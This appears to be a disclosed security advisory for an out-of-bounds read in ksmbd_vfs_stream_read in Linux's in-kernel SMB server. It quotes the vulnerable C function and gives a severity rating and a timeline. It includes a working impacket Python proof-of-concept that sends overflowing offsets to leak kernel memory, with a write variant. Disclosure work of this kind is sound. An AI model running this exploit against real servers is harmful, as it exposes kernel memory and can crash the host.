Ksmbd, the in-kernel SMB server in Linux, utilizes extended attributes to store Alternate Data Streams (ADS) associated with files. Two vulnerabilities exist in the handling of requests for files with ADS when an extremely large offset is provided. The ksmbd_vfs_stream_read function, responsible for reading data from a file with extended attributes (representing ADS), fails to properly validate the provided offset (*pos). This allows an attacker to supply a negative offset, leading to an out-of-bounds read from the stream_buf.
Critical - This vulnerability can allow an attacker to remotely read sensitive information from the kernel memory preceding the stream_buf and or a denial of serivce.
static int ksmbd_vfs_stream_read(struct ksmbd_file *fp, char *buf, loff_t *pos,
size_t count)
{
ssize_t v_len;
char *stream_buf = NULL;
ksmbd_debug(VFS, "read stream data pos : %llu, count : %zd\n",
*pos, count);
v_len = ksmbd_vfs_getcasexattr(file_mnt_idmap(fp->filp), // (1)
fp->filp->f_path.dentry,
fp->stream.name,
fp->stream.size,
&stream_buf);
if ((int)v_len <= 0)
return (int)v_len;
if (v_len <= *pos) { // (2)
count = -EINVAL;
goto free_buf;
}
if (v_len - *pos < count)
count = v_len - *pos;
memcpy(buf, &stream_buf[*pos], count); // (3)
free_buf:
kvfree(stream_buf);
return count;
}
An attacker can exploit this vulnerability by crafting an SMB read request with a large offset that overflows the loff_t type, resulting in a negative value. This negative offset is then passed to ksmbd_vfs_stream_read, triggering the out-of-bounds read.
from impacket import smb3 as smb, smbconnection
from hexdump import hexdump
class BugClient:
def __init__(self, target, share, username, password, domain="", port=445):
self.target = target
self.share = share
self.username = username
self.password = password
self.domain = domain
self.port = port
self.smbClient = smbconnection.SMBConnection(
self.target, self.target, sess_port=self.port
)
self.smbClient.login(self.username, self.password, self.domain)
def leak_oob(self, file_path, how_much):
try:
# Connect to the share
tree_id = self.smbClient.connectTree(self.share)
# Open the file
file_id = self.smbClient.openFile(
tree_id, file_path, desiredAccess=smb.FILE_READ_DATA
)
# Read the file contents at offset
data = self.smbClient.readFile(
tree_id, file_id, 18446744073709551615 - how_much, how_much
)
# Close the file
self.smbClient.closeFile(tree_id, file_id)
# Disconnect from the tree
self.smbClient.disconnectTree(tree_id)
return data
except Exception as e:
print(f"Error reading file: {e}")
return None
def write_oob(self, file_path, data, how_much):
try:
# Connect to the share
tree_id = self.smbClient.connectTree(self.share)
# Open the file for writing
file_id = self.smbClient.openFile(
tree_id,
file_path,
desiredAccess=smb.GENERIC_WRITE,
creationDisposition=smb.FILE_CREATE,
)
# Write data at the specified offset
self.smbClient.writeFile(
tree_id, file_id, data, 18446744073709551615 - how_much
)
# Close the file
self.smbClient.closeFile(tree_id, file_id)
# Disconnect from the share
self.smbClient.disconnectTree(tree_id)
except Exception as e:
print(f"Error writing file: {e}")
return None
client = BugClient("127.0.0.1", "share1", "", "") # Host, share, user, pass
# Leak 64 bytes of OOB data
data = client.leak_oob("/file:stream1:$data", 64)
hexdump(data)
Summary
Ksmbd, the in-kernel SMB server in Linux, utilizes extended attributes to store Alternate Data Streams (ADS) associated with files. Two vulnerabilities exist in the handling of requests for files with ADS when an extremely large offset is provided. The ksmbd_vfs_stream_read function, responsible for reading data from a file with extended attributes (representing ADS), fails to properly validate the provided offset (*pos). This allows an attacker to supply a negative offset, leading to an out-of-bounds read from the stream_buf.
Severity
Critical - This vulnerability can allow an attacker to remotely read sensitive information from the kernel memory preceding the stream_buf and or a denial of serivce.
Analysis
An attacker can exploit this vulnerability by crafting an SMB read request with a large offset that overflows the loff_t type, resulting in a negative value. This negative offset is then passed to ksmbd_vfs_stream_read, triggering the out-of-bounds read.
Proof of Concept
Timeline
Date reported: 11/10/2024
Date fixed: 12/10/2024
Date disclosed: 01/09/2025